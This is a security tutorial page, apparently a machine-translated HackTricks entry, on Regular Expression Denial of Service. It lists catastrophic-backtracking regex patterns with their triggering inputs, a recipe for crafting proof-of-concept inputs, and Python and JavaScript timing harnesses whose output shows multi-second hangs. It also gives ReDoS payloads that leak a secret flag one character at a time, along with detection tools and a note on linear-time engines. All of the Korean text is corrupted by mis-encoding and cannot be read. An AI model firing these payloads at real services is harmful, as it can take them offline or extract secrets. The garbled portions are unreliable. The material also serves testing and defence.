Regular expression Denial of Service - ReDoS
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Regular Expression Denial of Service (ReDoS)
A Regular Expression Denial of Service (ReDoS) happens when someone takes advantage of weaknesses in how regular expressions (a way to search and match patterns in text) work. Sometimes, when regular expressions are used, they can become very slow, especially if the piece of text theyโre working with gets larger. This slowness can get so bad that it grows really fast with even small increases in the text size. Attackers can use this problem to make a program that uses regular expressions stop working properly for a long time.
The Problematic Regex Naรฏve Algorithm
Check the details in https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
Engine behavior and exploitability
- Most popular engines (PCRE, Java
java.util.regex, Pythonre, JavaScriptRegExp) use a backtracking VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking. - Some engines/libraries are designed to be ReDoS-resilient by construction (no backtracking), e.g. RE2 and ports based on finite automata that provide worstโcase linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.
Evil Regexes
์ ์ฑ regular expression ํจํด์ ํน์ ์ ๋ ฅ์์ DoS๋ฅผ ์ ๋ฐํ๋๋ก ๋ฉ์ถ ์ ์๋ ํจํด์ ๋๋ค. ์ ์ฑ regex ํจํด์ ๋ณดํต ์ค์ฒฉ๋ ๋ฐ๋ณต(grouping with repetition)์ด๋ ๋ฐ๋ณต ๋ด๋ถ์ ๊ฒน์นจ์ด ์๋ alternation์ ํฌํจํฉ๋๋ค. ๋ช ๊ฐ์ง ์์๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
- (a+)+
- ([a-zA-Z]+)*
- (a|aa)+
- (a|a?)+
- (.*a){x} for x > 10
All those are vulnerable to the input aaaaaaaaaaaaaaaaaaaaaaaa!.
Practical recipe to build PoCs
๋๋ถ๋ถ์ ์น๋ช ์ ์ธ ์ฌ๋ก๋ ๋ค์ ํํ๋ฅผ ๋ฐ๋ฆ ๋๋ค:
- ์ทจ์ฝํ ์๋ธํจํด์ผ๋ก ๋ค์ด๊ฐ๊ฒ ํ๋ ์ ๋์ฌ(์ ํ์ ).
- ์ค์ฒฉ๋๊ฑฐ๋ ๊ฒน์น๋ ์๋์ ๋ด๋ถ์์ ์ ๋งคํ ๋งค์น๋ฅผ ๋ง๋๋ ๊ธด ๋ฌธ์ ์ฐ์(์: ๋ง์
a,_, ๋๋ ๊ณต๋ฐฑ). - ์ ์ฒด ์คํจ๋ฅผ ๊ฐ์ ํ๋ ๋ง์ง๋ง ๋ฌธ์ โ ์์ง์ด ๋ชจ๋ ๊ฐ๋ฅ์ฑ์ ๋ฐฑํธ๋ํด์ผ ํ๊ฒ ๋ง๋ญ๋๋ค(์ข
์ข
๋ง์ง๋ง ํ ํฐ๊ณผ ๋งค์น๋์ง ์๋ ๋ฌธ์, ์:
!).
์ต์ ์์:
(a+)+$vs input"a"*N + "!"\w*_*\w*$vs input"v" + "_"*N + "!"
N์ ๋๋ฆฌ๋ฉด ์ด์ ํ(super-linear) ์ฑ์ฅ์ด ๊ด์ฐฐ๋ฉ๋๋ค.
Quick timing harness (Python)
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")
ReDoS Payloads
String Exfiltration via ReDoS
CTF(๋๋ bug bounty)์์๋ ๋ฏผ๊ฐํ ์ ๋ณด(์: flag)์ ๋งค์นญ๋๋ Regex๋ฅผ ์ ์ดํ ์ ์๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค.
๊ทธ๋ ๋ค๋ฉด Regex๊ฐ ๋งค์นญ๋ ๋๋ง ํ์ด์ง๊ฐ ๋ฉ์ถ๊ฒ (timeout ๋๋ ๋ ๊ธด ์ฒ๋ฆฌ ์๊ฐ) ํ๊ณ , ๋งค์นญ๋์ง ์์ ๋๋ ๊ทธ๋ ์ง ์๊ฒ ๋ง๋๋ ๊ฒ์ด ์ ์ฉํ ์ ์์ต๋๋ค.
์ด๋ ๊ฒ ํ๋ฉด ๋ฌธ์์ด์ char by char ๋ฐฉ์์ผ๋ก exfiltrateํ ์ ์์ต๋๋ค:
- ์ด this post์์ ์ด ReDoS ๋ฃฐ์ ์ฐพ์ ์ ์์ต๋๋ค:
^(?=<flag>)((.*)*)*salt$ - Example:
^(?=HTB{sOmE_flยงNยง)((.*)*)*salt$ - ์ด this writeup์์ ๋ค์์ ์ฐพ์ ์ ์์ต๋๋ค:
<flag>(((((((.*)*)*)*)*)*)*)! - ์ด this writeup์์๋ ๋ค์์ ์ฌ์ฉํ์ต๋๋ค:
^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$
ReDoS Controlling Input and Regex
๋ค์์ ReDoS ์์ ๋ก, input๊ณผ regex๋ฅผ ๋ชจ๋ controlํ ์ ์๋ ๊ฒฝ์ฐ๋ค์ ๋๋ค:
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
๊ณต๊ฒฉ์์ฉ ์ธ์ด/์์ง ๋ ธํธ
- JavaScript (browser/Node): ๋ด์ฅ
RegExp๋ backtracking ์์ง์ด๋ฉฐ regex+์ ๋ ฅ์ด ๊ณต๊ฒฉ์์๊ฒ ์ํฅ์ ๋ฐ์ผ๋ฉด ํํ ์ ์ฉ๋ฉ๋๋ค. - Python:
re๋ backtracking์ ๋๋ค. ๊ธด ๋ชจํธํ ๋ฐ๋ณต๊ณผ ์คํจํ๋ ๊ผฌ๋ฆฌ๊ฐ ๊ฒฐํฉ๋๋ฉด ์ข ์ข ์น๋ช ์ ์ธ backtracking์ ์ ๋ฐํฉ๋๋ค. - Java:
java.util.regex๋ backtracking์ ๋๋ค. ์ ๋ ฅ๋ง ์ ์ดํ ์ ์๋ค๋ฉด ๋ณต์กํ validator๋ฅผ ์ฌ์ฉํ๋ ์๋ํฌ์ธํธ๋ฅผ ์ฐพ์๋ณด์ธ์; ํจํด(์: ์ ์ฅ๋ ๊ท์น)์ ์ ์ดํ ์ ์๋ค๋ฉด ReDoS๋ ๋ณดํต ์ฝ์ต๋๋ค. - Engines such as RE2/RE2J/RE2JS or the Rust regex crate are designed to avoid catastrophic backtracking. ์ด๋ฐ ์์ง์ ๋ง๋๋ฉด ๋ค๋ฅธ ๋ณ๋ชฉ(์: ๋งค์ฐ ํฐ ํจํด)์ ์ง์คํ๊ฑฐ๋ ์ฌ์ ํ backtracking ์์ง์ ์ฌ์ฉํ๋ ๊ตฌ์ฑ์์๋ฅผ ์ฐพ์๋ณด์ธ์.
๋๊ตฌ
- https://github.com/doyensec/regexploit
- ์ทจ์ฝํ regex๋ฅผ ์ฐพ์ ์ ์์ ์ ๋ ฅ์ ์๋ ์์ฑํฉ๋๋ค. ์:
pip install regexploit- ํจํด ํ๋๋ฅผ ์ธํฐ๋ํฐ๋ธํ๊ฒ ๋ถ์:
regexploit - Python/JS ์ฝ๋์์ regex๋ฅผ ์ค์บ:
regexploit-py path/๋ฐregexploit-js path/ - https://devina.io/redos-checker
- https://github.com/davisjam/vuln-regex-detector
- ํ๋ก์ ํธ์์ regex๋ฅผ ์ถ์ถํ๊ณ ์ทจ์ฝํ ๊ฒ์ ํ์งํ๋ฉฐ ๋์ ์ธ์ด๋ก PoC๋ฅผ ๊ฒ์ฆํ๋ end-to-end ํ์ดํ๋ผ์ธ์ ๋๋ค. ๋๊ท๋ชจ ์ฝ๋๋ฒ ์ด์ค๋ฅผ ์์ํ ๋ ์ ์ฉํฉ๋๋ค.
- https://github.com/tjenkinson/redos-detector
- ํจํด์ด ์์ ํ์ง ๋ณด๊ณ ํ๊ธฐ ์ํด backtracking์ ๋ถ์ํ๋ ๊ฐ๋จํ CLI/JS ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ ๋๋ค.
Tip: ์ ๋ ฅ๋ง ์ ์ดํ ์ ์์ ๋๋ ๊ธธ์ด๋ฅผ ๋ ๋ฐฐ๋ก ๋๋ ค๊ฐ๋ฉฐ(์: 2^k ๋ฌธ์) ๋ฌธ์์ด์ ์์ฑํ๊ณ ์ง์ฐ(latency)์ ์ธก์ ํ์ธ์. ์ง์ฐ์ด ์ง์์ ์ผ๋ก ์ฆ๊ฐํ๋ฉด ReDoS๊ฐ ๊ฐ๋ฅํจ์ ๊ฐํ๊ฒ ์์ฌํฉ๋๋ค.
์ฐธ๊ณ ์๋ฃ
- https://owasp.org/www-community/attacks/Regularexpression_Denial_of_Service-_ReDoS
- https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets
- https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html
- https://ctftime.org/writeup/25869
- SoK (2024): Regular Expression Denial of Service (ReDoS)์ ๋ํ ๋ฌธํ ๋ฐ ์์ง๋์ด๋ง ๋ฆฌ๋ทฐ โ https://arxiv.org/abs/2406.11618
- Why RE2 (linearโtime regex engine) โ https://github.com/google/re2/wiki/WhyRE2
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


